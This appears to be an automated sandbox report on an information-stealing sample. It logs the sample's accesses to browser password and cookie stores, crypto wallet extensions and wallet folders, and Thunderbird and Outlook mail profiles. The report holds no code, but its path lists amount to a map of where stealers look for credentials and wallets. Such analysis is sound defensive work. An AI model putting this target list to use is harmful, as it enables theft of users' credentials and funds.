Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
